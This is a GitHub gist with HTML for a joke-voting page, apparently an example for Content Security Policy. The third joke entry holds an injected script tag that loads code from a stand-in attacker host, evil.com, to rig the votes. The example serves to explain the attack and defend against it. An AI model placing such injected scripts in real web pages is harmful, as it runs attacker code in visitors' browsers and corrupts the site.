Skip to content

Instantly share code, notes, and snippets.

@adamzr
Created January 1, 2013 22:16
Show Gist options
  • Save adamzr/4430449 to your computer and use it in GitHub Desktop.
Save adamzr/4430449 to your computer and use it in GitHub Desktop.
CSP Example Compromised Joke List
<h1>List of jokes</h1>
<ul>
<li>
<p>Why did the chicken cross the road? To get to the other side!</p>
<form action="vote" method="post">
<input type="hidden" name="joke_id" value="1" />
<input type="submit" name="Vote"/>
</form>
</li>
<li>
<p>A man walks into a bar. Ouch!</p>
<form action="vote" method="post">
<input type="hidden" name="joke_id" value="2" />
<input type="submit" name="Vote"/>
</form>
</li>
<li>
<p><script src="http://evil.com/make_me_win.js"></script></p>
<form action="vote" method="post">
<input type="hidden" name="joke_id" value="3" />
<input type="submit" name="Vote"/>
</form>
</li>
</ul>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment